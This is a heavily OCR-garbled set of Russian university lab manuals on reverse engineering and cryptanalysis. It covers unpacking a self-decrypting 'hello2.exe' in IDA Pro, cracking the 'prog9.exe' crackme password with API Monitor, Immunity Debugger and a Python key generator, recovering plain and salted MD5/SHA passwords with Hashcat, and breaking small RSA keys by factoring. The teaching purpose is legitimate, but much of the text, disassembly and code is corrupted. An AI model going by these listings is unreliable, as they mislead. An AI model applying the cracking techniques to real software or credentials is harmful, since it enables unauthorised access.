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&%'%.%0 #%*  10.03.01#! + %5#+!1%8 &)2+"% 1+ *9

, 12 (
. 10.03.01.+, % - ! # , # %#2 |/
% ,+, %- ! # 1& , % - ! % #H2 |/ % ,
# / , %- |/ %
3 %% /
# 1 ']
r$4 / $/ %
*
5 % #  # %! 6% | %% , 337 / %
5 # % % % % %! %%
' - (
* %% IDAPro
.2 :
5 %! # %%  «hello2.exe» % 3#2 IDAPro;
5 ! ! # $ / %%
%% , $ %%
$ ! % $ / « 3
%% / . »
«hello2.exe» % 5 6 %% .* (%. .1).
10A Example 2 S|
‘\i‘) Hello World!
C1( %%
* 1 «Ok» 1 ! ' %% % #% %
, - 4 I # — 1 # 2 %
%! 1 .
%! , «hello2.exe» % 3#2 IDAPro.* ! %%
$ 401000 C6. . 2).
[CODE : 06401000 public start
CODE: 08408168080 start proc near
CODE : 00401000 push  offset loc_40161F
CODE : 00401065 nou edi,
CODE : 0640100A add edi, 500h
CODE : 00401010 add edi, 6BOOh
CODE : 00401016 jmp edi
CODE:00401016 start endp
CODE : 00401016
CODE 00401016 ; —— === ===
CODE:00461018 dd 4BEBDE75h
CODE:004B101C ; —— === ===
CODE:0848101C push ebp
CODE : 0040161D cude
CODE : 0040101E stc
2. % / %% , % - /



$ $ , % % .+ 2 %
% , $ «401018», 7 «% », IDA % # !
' # .8 %1 '# % , % I # 1 , % I # 1
- I % 1 %%
/ % , $ 1 %  401000-401016+ -
«pushoffsetloc_40101F 40101F. , 7! - , % 23/ $
EDI - / % $2 ,/3% EDI. 6
! # % # ! L% L # 1
- ! % , % ! $ # $ / %
$ / $ 23% I % :400043h + 500h + 0BOOh = 401043h. #
401016 - «jmpedi» 401043 % % ,$ /
6 % , =« » - . / 401043 1% ' «G».
"% / 401043 1% «Ok».+ 3 ,$ %! %
# # / , % %! # ‘2 $ # %%
CODE : 80401032 loop loc_u01029
CODE : 664081034 mov esi, offset unk_4062000
CODE : 06401039 jmp esi
CODE B0 B B39 - coorr e s e e e e e e e B e e e e s e e s e S e e e e
CODE:086481083B db 75h
CODE:08040103C dd 4BO1EBDEh, 6AF99855h, BEE846h, 444900080h, 78452041h
CODE : 86408103C dd 6C7086D61h, 322065h, 10E8h, 6C654886h, 572086F6Ch, 646C726Fh
CODE : 8848183C dd OFF808621h, BBEBBG6A25H
CODE:06481870 dd
CODE zOBHO1B7h [ ——— =
3) $ %!
IDA ! ! 40103B 401070 1 g,
% % 6 , 7 ( % 1 o # , %
!/, IDA, % '#2 | 40103B 401070 1% '
«U». "% 1 ! «Yes».. # 4.
CODE : 96401032 loop loc_401029
CODE: 0684081034 mov esi, offset unk_462000
CODE : 96401039 jmp esi
CODE:00401039 ; --—- - - e e
FODE:BSHB183B db 75h ; u
CODE :06848103C db ODEh ; |
CODE :0848103D db GEBh ; w
CODE : 96408103E db 1
CODE : 96408103F db 4Bh ; K
CODE:008401640 db 55h ; U
CODE : 06401041 db 98h ; U
CODE : 064081042 db OF%h ; -
CODE:00401043 db 6Ah ; j
CODE:004081044 db 46h ; @
CODE : 06401045 db GE8h ; uw
A4+ % , % / IDA
$ %  $ %% $# 7
401043, 6 % 6 1 $ # . % '#2 401043
1% ' «C» %! 6 # 5.
CODE:0084010832 loop loc_u01029
CODE : 06401034 mov esi, offset unk_4062000
CODE : 96401039 jmp esi
CODE:08401039 ; ———— - e
CODE:00840103B db 75h u
CODE:08406183C db GDEh ; |
CODE:0848183D db BGEBh bl
CODE:0840183E db 1
CODE:0840103F db 4Bh K
CODE:084010840 db 55h ; U
CODE: 08406106841 db 98h ; U
CODE: 008401842 db 6F9%h -
CODEZBURBIRNG | o=l i S oS il s e oo o S et G
CODE : 06401043 push 46h
CODE : 006401045 call near ptr unk_4061058
CODE:08408104A dec ecx
CODE : 86401048 inc esp
CODE : 6640104C inc ecx
CODE:0840164D and [ebp+78h], al
5+ # % [/ » -



+ , $ 40103B 1 8% |/ re, - / IDA
% # %! 1 .
$ % - * 1 1 #
401043. $ «40h», # / , - 401058.+
3 , $ %! # % # %! # 1 , /
401058 - «addal, ch». % '#2 23 %

- «call» (40104A) 1% «U» (%. .6). 3 - «call»
401045 7 «IDAExample 2» (-string, $ 23 % I % ).
40104A 1% « »$ ! I # ! ! ASCII-

CODE : 68401841 db 98h ; U
CODE : 68401642 db B6F%h ; -
CODE:00401043 ; =
CODE : 864010843 push 46h
CODE : 984810845 call near ptr unk_401058
CODE : 9840184A dec ecx
CODE : 66461048 inc esp
CODE : 6640164C inc ecx
CODE : 68401064D and [ebp+78h], al
CODE : 88461658 popa
CODE : 8684681651 ins dword ptr es:[edi], dx
CODE : 864010852 lio short near ptr dword_u46108C+34h
CODE: 868401054 and gs:[edx], dh
CODE : 88401057 add al, ch ; CODE XREF: CODE:00401045Tp
CODE : 98481859 adc [eax], al
CODE : 884010658 db (]
CODE :088481065C db (]
.6.) /

! # %! # %% 401058 1% « »,
401058 7 1 7% %! - - «call», !
# 71/ -

CODE : 96401041 db 98h ; Ul
CODE : 984810842 db 6F%h ; -
CODE:@B4B1048 ; —— -~ e e
CODE : 964010843 push 46h
CODE : 86401845 call near ptr unk_4061058
CODE: 088481845 ;
CODE : 06401084A db 4% ; I
CODE: 084081048 db 44h ; D
CODE : 9840104C db 41h ; A
CODE : 9848104D db 26h
CODE : 9848184E db 45h ; E
CODE : 9848104F db 78h ; x
CODE:96481058 db 61h ; a
CODE: 868401051 db 6Dh ; m
CODE : 984810852 db 76h ; p
CODE: 08481053 db 6Ch ; 1
CODE: 08481054 db 65h ; e
CODE : 96481055 db 26h
CODE : 984810856 db 32h ; 2
CODE: 084810857 db 8
CODE:084810658 unk_461058 db GE8h ; u ; CODE XREF: CODE:0808481045Tp
CODE: 084810859 db 16h
L7 %! $
40105D 1% «U», % «A». 401058 1
- «call 40106D», 1# %! # 1 1 %
40106D. %' 1%  « »(%. .8).

CODE : 80401043 push 46h
CODE : 806401845 call loc_4010858
CODE:=BB481845 ; ———— -~~~
CODE:00401684A aldaExample2 db 'IDA Example 2,0
CODE:OBAB1E58 ; ~————r—r————~—=rr— oo e e e e e
CODE : 80481858
CODE: 00401658 loc_461058: ; CODE XREF: CODE:88481845Tp
CODE : 00401058 call loc_40186D
CODEzBBABIB58 § —— === === e e e
CODE:00640105D aHelloWorld db 'Hello World?',®
CODE : 0646106A db 8
CODE : 06461068 db OFFh
CODE : 8646106C db 25h ; %
CODE O R 5 = T N e S T
CODE : 8640186D
CODE:0048106D loc_406166D: ; CODE XREF: CODE:loc_u481658Tp
CODE : 80640186D push (]
CODE : 0846106F nov esi, [
CODE: 00401074 inc esi
CODE : 8064010875 add esi, OFFFh
CODE: 080401078 call esi
CODE : 80640187D retn

. 8. 37 #



+ , $ % , % %% $ % -
2 - , -2 . % , - 1 / 5 % - $ -
% ESI ( % 40106F-401075) % - «callesi».) /
$ 23% ! % :400080h + 1 + OFFFh = 401080h.
* % , ! # ' — 6
40107E, 1% «U», % 1% « » 401080h (4. . 9).
CODE: 00401678 call esi
CODE :0040187D retn
CODEZ08%B187D ;3 corrrrrsrr oo e e e e e eeno oo e e e mee o oo e e
CODE : 6646187E db OFFh
CODE : 0040107F db 25h ; %
CODE:00481880 ; - - e e ==
CODE: 060401080 jmp ds:MessageBoxA
CODE:z@B4B1BBO ; ———————==— === e e e e
CODE : 064081086 db OFFh
CODE:064810687 db 25h ; %
. 9. , - MessageBoxA
8 , - MessageBoxA. 7% 8,%! # , %
2 6 , -2 .
* % 7 401043 - «push 40h».! %
- «call» % 401045 401058. , % «call» #
- , # # / - * 6 - , -
% 3 $ EIP, 23 23 «call» % , 1

EIP $ , 3 % %% $ .+ 8 3 -

«call» % 401045 401058 # 2 / / -
% ' ! %! , ! $ # 6 % ! -
# %! # 6 .

* 40106D / % , - MessageBox, -
/ 40107B - «callesi».
%3 ', . ! -
# 7% 40107D - «retn» ©o. . 9) , | 3
% % . 6 ?! % -2 «pushoffset loc_40101F» -
401000 Q5. . 8).8 - % - «retn» 40107D.
* 40101F # ' %% (%. . 10).
+ ' $ % 40101F-401032 / ', , -
401039 3 / o 3 % 3#2 -
XOR $ 2 «OFAFAFAFAh».
CODE:00846181D cude
CODE : 8640101E stc
CODE : 8640101F
CODE:064081081F loc_48101F: ; DATA XREF: startTo
CODE:0804081081F mov ecx, 4
CODE:00401024 mov esi, offset unk_4020600
CODE : 86401029
CODE:06401029 loc_4061029: ; CODE XREF: CODE:884810832]]j
CODE : 804010629 xor duword ptr [esi], OFAFAFAFAR
CODE : 88401 02F add esi, 4
CODE : 86401032 loop loc_u01029
CODE:00401034 mov esi, offset unk_4020600
CODE : 86401039 jmp esi
CODE:0B8401839 ; —————————— e ——————-
CODE : 86461038 db 75h ; u
CODE : 86461063C db ODEh ; |
.10.. ', %%
9, 23 ', % $% %-
% %! 2 D) 11 ", , -
%! # I 2 ! .
IDA # # %1 ",
— # _ # l’ '
— # # IDA $ %% -
% ! ',
) "% " 1 % $ %% ) -
', $ %% IDA 1 % %! - '
«Shift+F2». ' (%. 12).



DATA:00402000 DATA
DATA: 008402000
DATA: 008402000

segment para public ‘DATA" use32

assume cs:DATA
s0rg 4620080h

DATA: 00462000 unk_402000 db 96h ; P ; DPTA XREF: CODE:008401024To0
DATA : 00462000 ; CODE:0804081034T0
DATA: 86462081 db OFAh ; -
DATA: 88462082 db 45h ; E
DATA: 88462083 db 7Fh ; W
DATA: 08402084 db BEAh ; b
DATA : 00462065 db ODAh ; -
DATA : 00462086 db OFAh ; -
DATA: 86482087 db 8BDh ; -
PATA= 00482000 ® 7 ;¢
11,
S_“Please enter text i =101 x|
Please enter IDC statement(s)
A
o o
0K Cancel Help |
.12, IDAPro
23 1% «Ok»
1 autoi;
2 for (i =0x402000; i<=40200F;i++){
3 PatchByte(i, Byte(i)OxFA);
4}
IDA- /1 C, % $ % . IDA -
1'$ # % |/ %! % $ 7 %
# 2 L 1& % 3 2% % % «auto».
7 % ! % «i», - 402000
40200F, %% 6 % % 1 ! # - «XOR»
% 1 3% ! % $ %  «OxFA».* 6 $ %%
402000! ', %' 6 % 1% « »: -
' (%. .13).
DATA: 00402000 loc_4062600: ; DATA XREF: CODE:884810824T0
DATA: 06402000 ; CODE:08481034T0
DATA: 06402000 push 8
DATA: 064020062 mouv edi, 261085h
DATA: 00402607 inc edi
DATA: 00402608 add edi, 2060006h
DATA: 80402 B6E push edi
DATA: 00402 B6F retn
DATA:0B402B0F ; —————————— == e e
DATA: 068402010 db ]
13. ',
* 40200E % 3 $ EDI (201085h + 1 + 200000h = 401086h),
% 40200F - «retn»*% % ,$ /
401086 - 6 401086 1% « » (%. . 14).
CODE : 804610688 jmp ds:lessageBoxA
CODE:-88401886 ; ——— -
CODE : 80401086 jmp | ds:ExitProcess
CODE:-88401886 ; —— -
14, %%
+ 13 14 3 40200F 3 - ExitProcess, -
' %% .+ %% '



7 :

1. %%  «hello2.exe»?

2. - # 2 1 - %! ?
3

4

. +% % # %! ', / $ ?
$% ! IDAPro ! ! ?
0 -2%
+ , , <. ( « ! "#
», # ) +,9 .) . Ashniperov@sfu-kras.ru
+ : 10.03.01. # %#2 | % , 10.05.01.+, % -
! # 1& , % - ! %#2 |/ % , 10.05.03. #
/ , %- %
. : 3 %% /
WinAPI-
1. :
5 $# # WInAPI-' ;
5 I # # # .
2. * .
5 %#  # %! %% , | #
% WIinAPI.
5 # % % % % %! %%
3. " - (
5 %% APIMonitorv2 Alpha-r 13;
5 %% ImmunityDebugger.
4. 2 :
5 # %%  «prog9.exe».
5 ! ! %
%%  APIMonitorv2 Alpha-r 13.
5"
$ ! % $ / «3
%% /. »
6. "
% «prog9.exe»* 3 % #! «$ » % 1
(%. . 1)
| Crack_Me (Bapuant N2 09) |£‘
‘o‘ Cyuwiecteyer Heckonbko 'rpasHbix' cnocobos cnomarts 310
HZZ::;eﬁrlb;,e;oxanyﬁcra, HaWTK NAPONb U HE U3MEHATL KOA
NPWUNOXKEHNA.
OK
1 o# «$ » %
% , ' 23 # (% .2).
% # # 1% % «Checkl», %% 13 3
$ # (% .3)



[~ ~— oo ]
Crack_Me (Bapuant N2 09)
o

|
Password: I H He-a, nonpobyii ewé pas...
[_Cheot | |
Powered by Yozik
4
2. 1 3 - $
% # % %% # # % , % y -
(1 # w2 ) %3  WindowsAPl. « # w0 o,
% $ 6 % # # , , % , $
WInAPI 1 %% % % .
%  APIMonitor , % x86 RunningProcessed % % 2 -
%% (%. . 4).
IM

Process &+ PID
| avp.exe 71696
| avp.exe 7216
|| GoogleCrashHandler.... 3448
| jusched.exe 8876
| prog9.exe 2744
| TabTip32.exe 8532
|| TeamViewer_Service.exe 9116
| WacomHost.exe 8396
.| WacomHost.exe 7136
|| WSHelper.exe 3124

£ serices

* 1 $% # # ' , % 1 # , # API-, -

% 1 , % %% $ # , - GethdowTextA()
* 0 6 . 6 /' % # %2 /22 «API Filter», 1 #
«Ctrl+f» , % , - , 1 # «) » # checkbox %

1 , - (%. . 5).

GetTopWindow -~
GetWindow
GethdolespIayAffmrty
GetWindowInfo

GetWi

GetWindowModuleFileNameW _— { 2
Haiitu

GetWindowPlacement

GetWindowRect T .
GetWindowTextA o indowTextA [ Haitm panee |

=| GetWindowTextLengthA D TonbKO COBO LEMMKOM Hanpasnenue

GethdowTextLengthW N N
o
GetWindowTextW [7]C yuetom peructpa © Begepx  © Brus

GetWindowThreadProcessld
InternalGetWindowText g
IsChild

IsGUIThread
lsHungAplendow

Islconic

IsProcessDPIAware

IsWindow ~

0o00000000000000000s
| G o food G o] oo food ol o] oo oo ol o o] o ool o oo o )

m »

m -} Display iEnernal DLL
.51 1 %/ y -

10



% % %% 14# «Check!». «Summary» API

Monitor y, 23 13 API-, - GetWindowTextA() @6. . 6).
# Time of Day Thread | Module AP Q
1 2:08:23.282 PM 1 prog9.exe GetWindowTextA ( 0x001504f6, 000403128, 17 )
. 6., 13 WinAPI
* 1 7 , - «CallStack» fo. .7). -
% 1
Call Stack: GetWindowTextA (User32.dll) a X
#  Module Address Offset Location
1 prog9.exe 0x00401266 0x1266
2 USER32.dll 0x757a62fa 0x162fa gapfnScSendMessage + 0x332
3 USER32.dll 0x757a6d3a 0x16d3a GetThreadDesktop + Oxd7
R USER32.dll 0x757a6de8 0x16de8 GetThreadDesktop + 0x185
5 USER32.dll 0x757a6e44 0x16e44 GetThreadDesktop + Oxlel
£ m »
L1 # #
"% ! «00401266» %  APIMonitor % %%
% ' %% ImmunityDebugger, 1% % «Ctrl+g» %
«00401266». 1% ! , - GetWindowTextA() @. . 8).
006461261|| . E8 F8000000 <JMP .&user32.GetWindowTextA>
00401266(| . 68 28314000 PUSH prog9.008403128
00408126B|| . E8 4A000000 prog9.06064012BA
. 8. , - GetWindowTextA()
$ 3 - , % «0040126B>» ( $ 7 -
# % ), - . %
6 - # 1 «Enter». % 23 , 117

/ 9-10.

004012C2 8B75 { ESI,DWORD PTR SS:[EBP+8]
a84012C5 33c9 X ECX,ECX
084012¢7 33ce EAX,EAX
084012Cc9 8A46 { AL,BYTE PTR DS:[ESI+3]
ees0812CcC 2C 30 AL,30 Switch (cases 30..39)
004012CE 72 68 SHORT prog9.080401338
00401200 3C 09 CHMP AL,9
08401202 77 64 SHORT prog9.0604081338
08401204 8ASE 02 { BL,BYTE PTR DS:[ESI+2] Cases 30 ('0'),31 (‘1
004012D7 86EB 30 BL,30
04 FF AL, BFF
B2 ©6A { DL, 8A
004012DE F6F2 DL
004012E0 38E3 MP BL ,AH
084012E2 75 01 SHORT prog9.0804012E5
004012E4 4 ECX
004012E5 33ce X EAX,EAX

004012E7 8A46 083 { AL,BYTE PTR DS:[ESI+3]
004012EA 2C 30 AL,30

084012EC 8ASE 61 { BL,BYTE PTR DS:[ESI+1]
084012EF 86EB 30 BL,30

004012F2 84 FE AL, BFE

004012F4 B2 ©6A i DL, 8A

004012F6 F6F2 DL

004012F8 38E3 MP BL ,AH

084012FA 75 01 SHORT prog9.0804812FD
084012FC L3 ECX

004012FD 33ce X EAX,EAX

004012FF 8A46 083 { AL,BYTE PTR DS:[ESI+3]
00401302 2C 30 AL,30

00401304 8A1E i BL ,BYTE PTR

11



$

o

wnh kN

%1

%

00401306|| . 8BEB 30
. 84 01

00401316 (| .
08401319(| .
0040131B(| . S8ASE 04
0840131E(| . 86EB 30
08401321(| . B84 02
00401323(| . B2 0A
00401325(| . F6F2
00401327(| . 38E3
00401329(| . 75 01
0040132B(| . 41
0840132¢C 83F9 04
0840132F (| . 75 07

06401331(| . B8 01000000

08401336(| . EB 05

06401338 (| > B8 00000000

SUB BL,38
ADD AL,1
MOU DL,
DIV DL
CHP BL,AH
SHORT prog9.00401314
INC ECX
XOR EAX,EAX
MOU AL,BYTE PTR DS:[ESI+3]
SUB AL,38
MOU BL,BYTE PTR DS:[ESI+4]
SUB BL,38
ADD AL,2
MOU DL,0A
DIV DL
CHP BL,AH

SHORT prog9.08040132C
INC ECX

CMP ECX,4
SHORT prog9.00401338
MOU EAX,1
SHORT prog?.08040133D
MOV EAX,0 Default case of swit

.10." - ( 1 )
+ - .1 004012 9-004012E2, 3 2
# % (% - % 0. 1 %
30he $ % - ASCI),$ ! % $ #
$ % 1 &  1# 0. , %,$  #
Sl % % '$ % ESI, ! 3
% 3 % ! % 3 ESI.* -
S % % # %3 ! ESI-6 4, # ,
# % * $ $ % , #
) "%

23 %

1 (« ») Python,

passwd = [0 for i in range(5)]

for i in range(10):
passwd[3] = i

passwd[2] = ((passwd[3] + 255) % 256) % 10

passwd[0] = ((passwd[3] + 1) % 256) % 10
passwd[4] = ((passwd[3] + 2) % 256) % 10

for i in range(5):

print(passwd[i], end="")

0 print("\n", end=

% 2!
13 I $

+ %%

1
2
3
4
5  passwd[1l] = ((passwd[3] + 254) % 256) % 10
6
7
8
9
1

, / % % 2 %%

(%. .11).

S\

-
Crack_Me (Bapuant N2 ... DS

Benukonento!
Monogey! :)

%% «brog9.exe»?

#

$% !

»

%%

APIMonitorv2 Alpha-r 13?
Python ! ! ?
-2%
< 2 ( « | "H#

,.) . Ashnipérov@sfu-kras.ru

12
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o1 o1 o1t o N

o1 o1 o1 o1 O Ol )]

w

:10.03.01+, % - ! #
, $ % 3 , % -
1 $ (
Lo - /" % % I 2
% %% I $ Hashcat.
*
# $ - « % % 3 , % - »
1
$ , ;
! ", % / Y ;
% Y % % $ % / ;
- $ % , , $ / #
, % - |/ %/ ;
4 # $ / / Y ' %
% # %% % , - # $ , %
# , % %% ' , #/ $
% # $ 1 ! 3/ % % #2
! , | - 33 %#2 |/ % ;
% # # # $ -3 ! ) ;
:$ % ;
% # / 3/ % ;
% # *8 '/ Y ;
% % % $ % ,
n - (
! ! %% 1'$ , % ! !
2
% /% L $ # ! $
% MD5, SHA-1 SHA-256 (. 1), I/ % # !
# % Hashcat.
Ne BapuaHTa:
BoccTaHoBuTe MHgopmaLumio no eé xewy
MD5 €99a18c428¢cb38d5£260853678922¢03 [ |[Mposepus |
SHA-1 59¢826£c854197cbd4d1083bce8fc00d0761e8b3 [ [Mposepurs
SHA-256|db9fbddbd7caeff7a326645c1bb47116eb3fd4ae3834bf5039fc5d4738678615| (n ]
1. %
! $ # / () $7 / #
. 2), / # | /' # % YU %
# # # % Hashcat ( % I # ).

, s $

Ne BapuaHTa: [1v]
Bam yganocb noxvututb B[] ¢ naponsimy nonb3oBartenei,
HO Mapornu 66Ny NpeaBapUTenbHO 3axeLUMpOoBaHbl C UMONIb30BaHUEM conu crieqyloLm obpasom MD5(pass + salt).
BoccTaHoBUTE Naponu nonb3oBaTernen.

ID Hmsa

1| Baca | lynxun
2 | Juma |[Ky3Henos|
3| Ilets | Anankun
4 [Mrops|CaBeHKOB
5] ®ena | Yynpun

2.5 %

Connb
82sk21f]
234sdf
fk20fk
2ffn2
fov02f

Ilapoas
9fe99c41£9495c3a5b2e26ca86£c3091
be3e288263053a8f04ce5b31fa08504b
ab28b7ba658502e1e39d101ba65ee97{]
c58b08013f1bdc458ccf6bf8e3ab9419
29738d77be72fd0565c2028394daad92)

$
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. -6 ! ! #
, 7T % % . # , - $ ' $
, - 1 L # # Cl# 12 / $
(")) 1 1# C - % 1 I # /" # *
# / /o - % 1 # -6 - %
$% ! % # % / $ ;!
, - /" 1 1 # % %# #2
MD5
MD5 — % /' . 1991 1 -
%% ) I3 ol ! % % 128! .)1 7 %
# %  MD5.!$ / $ % 2 32" -
- $/ -
MD5('mtuci): 423238ac7f8404b0efl2a8c9eaf19222
1 % ! 13 2 $ #2 %
% 6, % .
MD5('ntuci): f4b9cf578441f03661b253fd98debc3c
SHA-1
%  SHA-1-6 % /' 13 # I %
I % % % 160! . % ! 1995 % # 2 $ -
1/ 9 )1 /" 13 %  SHA-1.
SHA-1(‘mtuci’): 66189e3d12383350546b0257022d60alBER200
x o % 12 6, %  MDS.
SHA-1(‘'ntuci’): 2ed5410360e0714b401eaf0e1259e33¢6c81
SHA-256
SHA-256 — % /' , 3 % % SHA-2, 1
2% ! %  SHA-224, SHA-384 SHA-512. SHA-256% | % /' -
% % 2561 ,$ % # # . % %/ -
% 3 % - - % . / I % -
%/ MD5 SHA-1, ' . $ %  SHA-3! L o# ' -
% - )1 % # %  SHA-256:

SHA-256('mtuci’):
962F1530F7B9531A0C9070EBD619FD80DD55F94C8A5A13B538R 18F852EDE

SHA-256('ntuci):
E21CA4B333E9678D34BFOBBCI506E1AB26A76F6C6FALB55CERFB076EE7508

[ $ (
/- - %1 | # 7 # % % : -
, ! ! 2 .
. % % % /" 2 . * 1% ., $ % MD5 /'
S5EBE2294ECDOEOFO8S8EAB7690D2A6EEG9.
+ # 3 ( % % -
/ :
1. word
2. war
3. secret
4. forest
* # I/ % ! / /' $ V¥ -
$% 23 # :

1. C47D187067C6CF953245F128B5FDEG2A
2. 4CA9D3DCD2B6843E62D75EB191887CF2
3. SEBE2294ECDOEOFO8EAB7690D2A6EEG9
4. F379CFD7A55B621577A8389D1817A102

23 ' -6 ! $ / $ . # ,% 1-

1 14# ! % /"% . # /' # # «secreb.

% % ,$ $ /' % | # $ # % . -6 -
! I % | % 13 % . / !
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* 1% , 3 # # # $ «secret», $
/' ' %' / ! / /' # -
, % # # 2 ) ! / / ,
$ /' % # % , ! % % !
% ,$ # -6 «8*$3h#92», 1 $% /| # # #
, # ! % % # | $ : «secret8*$3h#92
6 $ /' 2 , # # % MD5 !
$ 23 $ : 863417B487BFCF99B47C9A4F105FF115.
, $ $ $ 3 . # # -
71 # . , 3 -1 # ! 1# $
«secret8*$3h#92»* 6 % # 2 1 # $ , ,
1 ! # #  «secret», $ I 1 # #, $ -
# ! /' $ % .
! $ /' 2 3 % 1 %% % John The
Ripper, PasswordsPro
! # ! % # , % 1 % -
I % % - Hashcat. Hashcadt I # % $ % % 3 o #
! CPU, GPU, 1 7 % , 1 I #
$ % /' ! 3 # % /' #2 %
Hashcat -6 # 1 , ! %1 !'# 1 GUI , -
! 1'$ / #
6. "
1. % # , /"% ( .3 ! % #
B liaxt 14.03.2017 0:12 TeKCToBbIV AOKYM... 1Kb
9 2.txt 14.03.2017 0:12 TeKCToBbIA AOKYM... 1Kb
ﬁ 3.txt 14.03.2017 0:12 TeKkCcToBbIv AOKYM... 1KB
: P— Mouck Koauposka Hacrpoiiku WHCTpy
AS @'--Q"Jl"l%&lﬁ@@‘.' '
e99a18¢4280b38d5f260853678922e03|
133 ANSI I\HashcatGUI 0S0b1\TEST\L.txt
. 3. , /1'%
2. % I/ % - Hashcat: /' ,, /"% % , / ,
# % # 1 ( .4. 1 % # -
% GPU, 1 ! $ «CPU only». - «Remove found hashes»$
/ /' / ,

Hashcat | wordists & Markov | Commands | Batch Job [ Help [ About|

Hash File: I:\HashCatGUIL_OSODI\TEST\L.IXt e ~ |_cioboard
Senarator: : [¥] Remove found hashes Disable Pot File Ignore Usernames
Mode: [Straight T ToM: Mps ~|
Rules Password Length
Ruiles - @ I enath: -
Rules - [[] Increment Mode
Rules ~ [as) GPU Options
Workload Profile:
Ruiles R Defaul v l
Generate Abort°C:  Retain °C:
Wordiists el = of bl
Wordist | realhuman_phil.txt - 1 eft Rulle: Devices: Markov:
[ _pl ] (=== Al -
Wordist [red'mrnan_phl_txt VJ Riaht Ruile: :]
outnut: [¥] I:\HashcatGUI_0S0b1\TEST\[InFlename]_found[m].txt <= v | ()
Ignore Warnings (—force) yar: hash(:salt]:plai ~|
Assume salt given in hex [¥] cpPU only
Assume charset given in hex Seek and Destroy
[#] Automatic update of the status-screen (60 secs)
Rinarv: I:\hashcat-3.40\hashcat-3.40\hashcat64.exe ™ -

. 4. %/ -
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3. # ! Hashcat $ / ( .5).

'1“"—% ALty = BREVS.0.5U
@avin MMpaska lMowuck Koavposka Hactpovkm WHcTpymeHTsl Cnpaska

A R L LOReRal S Nregreg=JCq "R

99al18c428cb38d5f260853678922e03jabcl23

11 65 ANSI I\HashcatGUI_050b1\TEST\1_foundO.txt
. 5. $ /'
$ % I % % I # # /" - % .
$ % -/ Hashcat /' # %
7 % $ % 2 ) # ! % , 1 I # -
I % %
7. "
1. /- - ? /- - ?
2. %1 ' # 7 /Y- - ?
3. ? / % ? % ?
4, 3 « # »?
0 -2%
+ , , <. : % "#
( 21 ! # $1 ' ! « / -
$ +, % »( + ), % $ , d.v.kostin@mail.ru
+ :10.03.01+, % - ! #
, : ' $ % 3 , % -
! $ RSA
1. :
+ $# % RSA , - -/ % % -
% ! ,. - % * % 13 ! $ .
2. * ,
# $ - « ,$ % 3 , % - » -
1
2 .
5 $ , ;
5 - 5/ % , 3 / # -
, %- %/ ;
5 - , - 3 , % - - %/ %
$ # 23/ 5 %
5 # # $ / / Y 3 %
5 # L , 11 2 %% /|, %% - |
( %$ $ ! )y 1$ 3 , %- ;
5 % # $ 1 ! 5/ % % #2 -
! , [ - 33 %#2 |/ % ;
5 %# # # $ -/$ ! , ;
O .
5 ' $ % ;
5 % # / 5/ % ;
5 % # 8 '/ ", ;
5 % % % $ % ,
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3. - ( :
! ! %% 1'$ , % ! !
4, 2
% I/ % , # $ $ % -
32 % ! , % LF 13 % ' $ )
$ / % $ I/ % ,O# 13 , % %
RSA.* $ I/ % # $ %
5.
RSA -6 % % $ ) ) $ # 1 -
, - -/ % I # .
. % % /% ! % RSA.
1. 2%
23 #/ 6
1) ! 2 / $ / $ p q n! .
2) )/ $ p q % % (1)
N=p*q, (1)
3) $ , - 8 $ N % (2
J (N = (D * @), (2)
4) | - $ e l1<e< j(N) % $ % j(N).!'$
$ e! 2 $
5) )/ $ d ,% Q).
d=¢"'mog(N), 3)
* $ $ (e, N)! # % 23% % I # | -
$ (N 2 % 2%% 1 |/ # .
2. 9, ',
! , # 13 , I % # 13 % ! , -
2 $# %1 # % $ % $ % , $ $ % $ %
I/ % 232 -2 (% )
c=m®modN , (4)
m-6 ', % 13 c— $ " 13 '$ $
$ 2 HEX ( - $ ) $ , ! # -
, 13 / # 1 # (%  5)
d=c®modN, (5)
d- "', 13
*$ $ ! % ! , 2 $# % | # -
! / 13
RSA
# % RSA 1 1 I # $ N /
$ p g* 6% % - 23 w1 , % # $ / /
$ / | 1 - ( - ) % 1
$ ! % - #/ % - - $ % 1 -
% , % $ 20-30! % I #
1 % % ! % % % . $ 12 #oo-
- #/ % , # $ I/ %/ -
* -6 % , # 2% # % -
! /I -1 $ 2 % $ n. n $ -
$ t 2, 6 % % n. -
2, t $ - .- . % $ #
3 1& % .) % % % 1 # -
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% - % %l ' # $7 2% $7 |/
/ . / %, % $ 3.
- % (- % ) - %
% " 1 1
% $ 6,, , -
% % %
% 23% ' %
1) $ % L % 12 $ x g
2) y=Xx,9=1;
- 3) % ,$ g=1
x = f(x),
y = f(f(y)),
g = ged(x-y,N).
4) g'=1, g % %
$ , - fx) %1 | # $
, -2 ,
1 -2 % [/ Java Python.
/ $/ % ! ' . 6
# 2, -2 fx).
+:
% 6,, % . - -/ %
I % '
' % ! % %%
1
6. "
) 1 7 % %

Ne BapuaHTa:

Pacwundpynte sawmdppoBaHHoOe cooblLieHune, ecnm BamMm U3BecTeH
TONMbKO OTKPbIThIN Ktod (e, N). [1ns aTtoro npousBegute dakropusaumio
yucna N Ha NpocTbie MHOXUTENMN.

D wuszyiime N ¢ 7
Coob6menne: 7820433e68
e: 487218339947

N: 921809561437

Pacm :r

me: | | Mposeputs |

C

ITonnapoa

Daxmopusyiime N ¢ P »
Coobomenne: 1074b64cef9417d0429¢18521
e: 374893278718192505282233231067

N: 795266777254820365581461589251

Pacm He: |

c | Mposeputs |

Pp

Daxmopuszyiime N ¢ 7] P yuc nonsa

Coobomenne: 16eblacacd5d2227b2¢33d1041b55df472bca6240798007cf5a0acd84159

e: 273842542184891212131408834864046716117496075835138688950759516706829651
N: 829492194624780665896003975203295313214465619004807308809968633524995841

Pac ép \, me: | | Mposepus |
1Y % %
1" % $ N = 921809561437 % 3#2 !
# , U % $ N #
. p = 992603, q = 928679
2. 23 , %1% $ #
Java , % ! 23%

’ % $
# % -
$ % % 1284
, S % 23
y ’ ! $
#
1 % # ,%$
/ , I %
110
% $
- %
!
# .*$ 23
28 RSA |, %

% %

3.)

Bigintege € = new Bigintege("487218339947"

Biginteger d = e.modInverse(phi); // d=e”-1 mod phi

Biglnteger phi = p.subtract(BigIinteger.ONE).muli#a. subtract(BigIinteger.ONE)); //phi=(p-1)(g-1)

2.
*$ $ 1 d=277718271507.
3.1 % 13 -8 , %
, % 5* $ $ ' % % e
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BigInteger message = new Biginteger("7820433e6@);, /Ihex to de
byte[] decrypted = message.modPow(d, N).toByteAjray
String decMessage = new String(decrypted);

3., 13

*$ # . «easy»$ 1 1 $ % ( .2).

Daxmopuszviime N ¢ nomouso noiHo2o nepedopa
Coodomenne: 7820433e68

e: 487218339947

N: 921809561437

